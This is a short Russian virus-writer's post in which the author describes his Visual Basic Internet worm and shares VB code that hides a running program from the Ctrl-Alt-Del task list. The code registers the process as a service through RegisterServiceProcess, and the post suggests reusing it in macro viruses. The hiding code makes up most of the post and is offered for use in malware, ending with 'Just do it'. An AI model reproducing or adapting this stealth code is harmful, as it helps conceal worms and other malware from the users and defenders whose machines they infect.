Как скрыть прогу от менюхи по ctrl-alt-del? - 09:12 - by Ultras
 
Недавно начал писать Интернет червя на VB. Сделал я его резидентом и скрывать 
его в меню при нажатии ctrl-alt-del. Возможно это процедура понадобиться и в 
макро виурсах. 


' win32 api которые понадобиться нам

Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

' константы

Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0


' Процедура скрытия вашей проги в менюхе по ctrl-alt-del

sub stealth()
Dim process_id As Long
Dim reg_serv_process As Long
process_id = GetCurrentProcessId()
reg_serv_process = RegisterServiceProcess(process_id, RSP_SIMPLE_SERVICE)
End Sub

' Процедура показа вашей проги в менюхе по ctrl-alt-del

sub anti_stealth()
Dim process_id As Long
Dim reg_serv_process As Long
process_id = GetCurrentProcessId()
reg_serv_process = RegisterServiceProcess(process_id, RSP_UNREGISTER_SERVICE)
End Sub

Все легко и просто... Just do it......